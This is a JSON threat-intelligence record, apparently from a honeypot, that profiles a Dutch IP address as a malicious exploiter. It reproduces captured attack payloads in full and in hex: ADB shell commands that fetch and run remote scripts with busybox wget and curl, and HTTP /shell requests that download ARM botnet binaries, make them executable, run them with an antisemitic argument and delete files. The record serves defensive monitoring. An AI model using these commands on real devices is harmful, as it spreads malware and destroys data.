{"ip":"94.154.43.95","total_events":27,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"12 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["12 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","This is the same evidence that puts an address in the public exploiter feed, so the feed and this page now agree.","Payload evidence stands on its own: one request that fetches a botnet binary is exploitation, not probing.","Not in any known-scanner range.","Sent 7,202 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"7,202 bytes sent","bytes_sent":7202,"session_seconds":0,"persistent":false}},"first_seen":"2026-08-28T10:35:05","last_seen":"2026-09-17T01:02:09","events_24h":0,"events_7d":0,"geo":{"country_code":"NL","country_name":"The Netherlands","region":"North Holland","city":"Amsterdam","lat":52.3716,"lon":4.8883,"asn":null,"org":""},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[],"top_ports":[{"port":5555,"proto":"tcp","label":"","count":7},{"port":61616,"proto":"tcp","label":"ActiveMQ","count":5},{"port":80,"proto":"tcp","label":"HTTP","count":4},{"port":6001,"proto":"tcp","label":"","count":3},{"port":34567,"proto":"tcp","label":"","count":2},{"port":60001,"proto":"tcp","label":"","count":2},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":2},{"port":37777,"proto":"tcp","label":"","count":1},{"port":5500,"proto":"tcp","label":"","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["b10cun010_00040000_c4b2c4aa","b11cun030_00040410_e62b6d85","b11cun070_0014001f_85240426","b11cun060_0010001f_9c45cb0a"]},"fingerprint_peers":{"b10cun010_00040000_c4b2c4aa":366,"b11cun030_00040410_e62b6d85":19,"b11cun070_0014001f_85240426":12,"b11cun060_0010001f_9c45cb0a":2},"akin_families":{"b11cun070_0014001f_85240426":{"head":"b11cun070_0014001f_85240426","shapes":2,"ips":12},"b11cun060_0010001f_9c45cb0a":{"head":"b11cun070_0014001f_85240426","shapes":2,"ips":12}},"user_agents":["Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36","KrebsOnSecurity","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46"],"timeline":[{"date":"2026-08-28","count":1},{"date":"2026-08-29","count":6},{"date":"2026-08-30","count":2},{"date":"2026-09-03","count":1},{"date":"2026-09-06","count":2},{"date":"2026-09-07","count":2},{"date":"2026-09-09","count":5},{"date":"2026-09-15","count":2},{"date":"2026-09-16","count":4},{"date":"2026-09-17","count":2}],"recent_events":[{"timestamp":"2026-09-17T01:02:09","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000F\u0001\u0000\u0000Nc\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://176.65.139.251/w.sh; sh w.sh; curl http://176.65.139.251/c.sh; sh c.sh; wget http://176.65.139.251/wget.sh; sh wget.sh; curl http://176.65.139.251/wget.sh; sh wget.sh; busybox wget http://176.65.139.251/wget.sh; sh wget.sh; busybox curl http://176.65.139.251/wget.sh; sh wget.sh\u0000","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f76324f50454e5801000000000000460100004e630000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f3137362e36352e3133392e3235312f772e73683b20736820772e73683b206375726c20687474703a2f2f3137362e36352e3133392e3235312f632e73683b20736820632e73683b207767657420687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b206375726c20687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b2062757379626f78207767657420687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b2062757379626f78206375726c20687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e736800","method":"","user_agent":"","ja3":"","session":"2366dc43-dc70-445e-9c53-a6eea11e2520","seq":1,"duration_ms":100,"bytes_in":401,"bytes_out":12,"enriched":{"digest":"7355e7e891dfec8c","strings":["CNXN","host::features=cmd,shell_v2OPENX","shell:cd /data/local/tmp/; busybox wget http://176.65.139.251/w.sh; sh w.sh; cur…"],"iocs":{"urls":["http://176.65.139.251/w.sh;"],"ips":["176.65.139.251"],"domains":["w.sh"],"paths":["/data/local/tmp","/176.65.139.251/w.sh"]}}},{"timestamp":"2026-09-17T00:51:14","port":5500,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:5500\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?cd+/tmp;rm+arm+arm7;wget+http:/\\/94.154.43.60/linux_arm7;chmod+777+linux_arm7;./linux_arm7+jews;wget+http:/\\/94.154.43.60/linux_arm4;chmod+777+linux_arm4;./linux_arm4+jews;rm+-rf+*","summary":"","payload_hex":"474554202f7368656c6c3f63642b2f746d703b726d2b61726d2b61726d373b776765742b687474703a2f5c2f39342e3135342e34332e36302f6c696e75785f61726d373b63686d6f642b3737372b6c696e75785f61726d373b2e2f6c696e75785f61726d372b6a6577733b776765742b687474703a2f5c2f39342e3135342e34332e36302f6c696e75785f61726d343b63686d6f642b3737372b6c696e75785f61726d343b2e2f6c696e75785f61726d342b6a6577733b726d2b2d72662b2a20485454502f312e310d0a486f73743a20<HONEYPOT>3a353530300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"4022fd84-7701-492a-97a0-2aa99db43146","seq":1,"duration_ms":100,"bytes_in":501,"bytes_out":77},{"timestamp":"2026-09-16T08:07:57","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f7632","method":"","user_agent":"","ja3":"","session":"011d37a6-30de-49d8-8b06-fad9035eda34","seq":1,"duration_ms":100,"bytes_in":51,"bytes_out":12,"enriched":{"digest":"9cb45602096504b5","strings":["CNXN","host::features=cmd,shell_v2"]}},{"timestamp":"2026-09-16T08:07:57","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000F\u0001\u0000\u0000Nc\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://176.65.139.251/w.sh; sh w.sh; curl http://176.65.139.251/c.sh; sh c.sh; wget http://176.65.139.251/wget.sh; sh wget.sh; curl http://176.65.139.251/wget.sh; sh wget.sh; busybox wget http://176.65.139.251/wget.sh; sh wget.sh; busybox curl http://176.65.139.251/wget.sh; sh wget.sh\u0000","payload_hex":"4f50454e5801000000000000460100004e630000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f3137362e36352e3133392e3235312f772e73683b20736820772e73683b206375726c20687474703a2f2f3137362e36352e3133392e3235312f632e73683b20736820632e73683b207767657420687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b206375726c20687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b2062757379626f78207767657420687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b2062757379626f78206375726c20687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e736800","method":"","user_agent":"","ja3":"","session":"011d37a6-30de-49d8-8b06-fad9035eda34","seq":2,"duration_ms":245,"bytes_in":401,"bytes_out":24,"enriched":{"digest":"0dcee3d15b2b4822","strings":["OPENX","shell:cd /data/local/tmp/; busybox wget http://176.65.139.251/w.sh; sh w.sh; cur…"],"iocs":{"urls":["http://176.65.139.251/w.sh;"],"ips":["176.65.139.251"],"domains":["w.sh"],"paths":["/data/local/tmp","/176.65.139.251/w.sh"]}}},{"timestamp":"2026-09-16T04:16:36","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000F\u0001\u0000\u0000Nc\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://176.65.139.251/w.sh; sh w.sh; curl http://176.65.139.251/c.sh; sh c.sh; wget http://176.65.139.251/wget.sh; sh wget.sh; curl http://176.65.139.251/wget.sh; sh wget.sh; busybox wget http://176.65.139.251/wget.sh; sh wget.sh; busybox curl http://176.65.139.251/wget.sh; sh wget.sh\u0000","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f76324f50454e5801000000000000460100004e630000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f3137362e36352e3133392e3235312f772e73683b20736820772e73683b206375726c20687474703a2f2f3137362e36352e3133392e3235312f632e73683b20736820632e73683b207767657420687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b206375726c20687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b2062757379626f78207767657420687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b2062757379626f78206375726c20687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e736800","method":"","user_agent":"","ja3":"","session":"2fef3030-823d-4dfd-be88-2f3446d211bb","seq":1,"duration_ms":100,"bytes_in":401,"bytes_out":12,"enriched":{"digest":"7355e7e891dfec8c","strings":["CNXN","host::features=cmd,shell_v2OPENX","shell:cd /data/local/tmp/; busybox wget http://176.65.139.251/w.sh; sh w.sh; cur…"],"iocs":{"urls":["http://176.65.139.251/w.sh;"],"ips":["176.65.139.251"],"domains":["w.sh"],"paths":["/data/local/tmp","/176.65.139.251/w.sh"]}}},{"timestamp":"2026-09-16T04:03:48","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000F\u0001\u0000\u0000Nc\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://176.65.139.251/w.sh; sh w.sh; curl http://176.65.139.251/c.sh; sh c.sh; wget http://176.65.139.251/wget.sh; sh wget.sh; curl http://176.65.139.251/wget.sh; sh wget.sh; busybox wget http://176.65.139.251/wget.sh; sh wget.sh; busybox curl http://176.65.139.251/wget.sh; sh wget.sh\u0000","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f76324f50454e5801000000000000460100004e630000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f3137362e36352e3133392e3235312f772e73683b20736820772e73683b206375726c20687474703a2f2f3137362e36352e3133392e3235312f632e73683b20736820632e73683b207767657420687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b206375726c20687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b2062757379626f78207767657420687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b2062757379626f78206375726c20687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e736800","method":"","user_agent":"","ja3":"","session":"632b57d2-3bad-4a01-b831-01a5fc15f826","seq":1,"duration_ms":100,"bytes_in":401,"bytes_out":12,"enriched":{"digest":"7355e7e891dfec8c","strings":["CNXN","host::features=cmd,shell_v2OPENX","shell:cd /data/local/tmp/; busybox wget http://176.65.139.251/w.sh; sh w.sh; cur…"],"iocs":{"urls":["http://176.65.139.251/w.sh;"],"ips":["176.65.139.251"],"domains":["w.sh"],"paths":["/data/local/tmp","/176.65.139.251/w.sh"]}}},{"timestamp":"2026-09-15T04:33:41","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000F\u0001\u0000\u0000Nc\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://176.65.139.251/w.sh; sh w.sh; curl http://176.65.139.251/c.sh; sh c.sh; wget http://176.65.139.251/wget.sh; sh wget.sh; curl http://176.65.139.251/wget.sh; sh wget.sh; busybox wget http://176.65.139.251/wget.sh; sh wget.sh; busybox curl http://176.65.139.251/wget.sh; sh wget.sh\u0000","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f76324f50454e5801000000000000460100004e630000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f3137362e36352e3133392e3235312f772e73683b20736820772e73683b206375726c20687474703a2f2f3137362e36352e3133392e3235312f632e73683b20736820632e73683b207767657420687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b206375726c20687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b2062757379626f78207767657420687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b2062757379626f78206375726c20687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e736800","method":"","user_agent":"","ja3":"","session":"c9b3127b-223b-41c5-8447-8fe85fdd3c28","seq":1,"duration_ms":102,"bytes_in":401,"bytes_out":12,"enriched":{"digest":"7355e7e891dfec8c","strings":["CNXN","host::features=cmd,shell_v2OPENX","shell:cd /data/local/tmp/; busybox wget http://176.65.139.251/w.sh; sh w.sh; cur…"],"iocs":{"urls":["http://176.65.139.251/w.sh;"],"ips":["176.65.139.251"],"domains":["w.sh"],"paths":["/data/local/tmp","/176.65.139.251/w.sh"]}}},{"timestamp":"2026-09-15T04:14:00","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000F\u0001\u0000\u0000Nc\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://176.65.139.251/w.sh; sh w.sh; curl http://176.65.139.251/c.sh; sh c.sh; wget http://176.65.139.251/wget.sh; sh wget.sh; curl http://176.65.139.251/wget.sh; sh wget.sh; busybox wget http://176.65.139.251/wget.sh; sh wget.sh; busybox curl http://176.65.139.251/wget.sh; sh wget.sh\u0000","payload_hex":"434e584e00000001000004001b0000004d0a0000bcb1a7b1686f73743a3a66656174757265733d636d642c7368656c6c5f76324f50454e5801000000000000460100004e630000b0afbab17368656c6c3a6364202f646174612f6c6f63616c2f746d702f3b2062757379626f78207767657420687474703a2f2f3137362e36352e3133392e3235312f772e73683b20736820772e73683b206375726c20687474703a2f2f3137362e36352e3133392e3235312f632e73683b20736820632e73683b207767657420687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b206375726c20687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b2062757379626f78207767657420687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e73683b2062757379626f78206375726c20687474703a2f2f3137362e36352e3133392e3235312f776765742e73683b20736820776765742e736800","method":"","user_agent":"","ja3":"","session":"0a72918c-79c9-4241-9ed7-d8b336fe6c60","seq":1,"duration_ms":100,"bytes_in":401,"bytes_out":12,"enriched":{"digest":"7355e7e891dfec8c","strings":["CNXN","host::features=cmd,shell_v2OPENX","shell:cd /data/local/tmp/; busybox wget http://176.65.139.251/w.sh; sh w.sh; cur…"],"iocs":{"urls":["http://176.65.139.251/w.sh;"],"ips":["176.65.139.251"],"domains":["w.sh"],"paths":["/data/local/tmp","/176.65.139.251/w.sh"]}}},{"timestamp":"2026-09-09T11:46:35","port":6001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:6001\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?cd+/tmp;rm+arm+arm7;wget+http:/\\/94.154.43.60/arm7;chmod+777+arm7;./arm7+jews;wget+http:/\\/94.154.43.60/arm4;chmod+777+arm4;./arm4+jews;rm+-rf+*","summary":"","payload_hex":"474554202f7368656c6c3f63642b2f746d703b726d2b61726d2b61726d373b776765742b687474703a2f5c2f39342e3135342e34332e36302f61726d373b63686d6f642b3737372b61726d373b2e2f61726d372b6a6577733b776765742b687474703a2f5c2f39342e3135342e34332e36302f61726d343b63686d6f642b3737372b61726d343b2e2f61726d342b6a6577733b726d2b2d72662b2a20485454502f312e310d0a486f73743a20<HONEYPOT>3a363030310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"663dfb66-dd66-42c1-be4e-9aea199c2a66","seq":1,"duration_ms":100,"bytes_in":465,"bytes_out":77},{"timestamp":"2026-09-09T11:43:52","port":6001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:6001\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?cd+/tmp;rm+arm+arm7;wget+http:/\\/94.154.43.60/arm7;chmod+777+arm7;./arm7+jews;wget+http:/\\/94.154.43.60/arm4;chmod+777+arm4;./arm4+jews;rm+-rf+*","summary":"","payload_hex":"474554202f7368656c6c3f63642b2f746d703b726d2b61726d2b61726d373b776765742b687474703a2f5c2f39342e3135342e34332e36302f61726d373b63686d6f642b3737372b61726d373b2e2f61726d372b6a6577733b776765742b687474703a2f5c2f39342e3135342e34332e36302f61726d343b63686d6f642b3737372b61726d343b2e2f61726d342b6a6577733b726d2b2d72662b2a20485454502f312e310d0a486f73743a20<HONEYPOT>3a363030310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"96f88eb0-ee9f-47b1-a376-338dc36aa318","seq":1,"duration_ms":100,"bytes_in":465,"bytes_out":77}],"http_methods":[{"method":"GET","count":15}],"distinct_ports_total":9,"top_paths":[{"path":"/geoserver/wfs?service=WFS&request=GetCapabilities","count":5,"ports":2},{"path":"/","count":4,"ports":3},{"path":"/shell?cd+/tmp;rm+arm+arm7;wget+http:/\\/94.154.43.60/arm7;chmod+777+arm7;./arm7+jews;wget+http:/\\/94.154.43.60/arm4;chmod+777+arm4;./arm4+jews;rm+-rf+*","count":3,"ports":1},{"path":"/shell?cd+/tmp;rm+arm+arm7;wget+http:/\\94.154.43.60/arm7;chmod+777+arm7;./arm7;wget+http:/\\/94.154.43.60/arm4;chmod+777+arm4;./arm4","count":2,"ports":1},{"path":"/shell?cd+/tmp;rm+arm+arm7;wget+http:/\\/94.154.43.60/linux_arm7;chmod+777+linux_arm7;./linux_arm7+jews;wget+http:/\\/94.154.43.60/linux_arm4;chmod+777+linux_arm4;./linux_arm4+jews;rm+-rf+*","count":1,"ports":1}],"distinct_paths_total":5,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Accept-Language","Cache-Control","Connection","Host","User-Agent"],"representative":[{"name":"Accept","value":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","notable":false},{"name":"Accept-Encoding","value":"gzip, deflate","notable":false},{"name":"Accept-Language","value":"en-US,en;q=0.9","notable":false},{"name":"Cache-Control","value":"max-age=0","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Host","value":"<HONEYPOT>:5500","notable":false},{"name":"User-Agent","value":"KrebsOnSecurity","notable":false}],"distinct_sets":1,"events_with_headers":3},"tags":[],"data_as_of":"2026-09-30T17:58:49.988973+00:00"}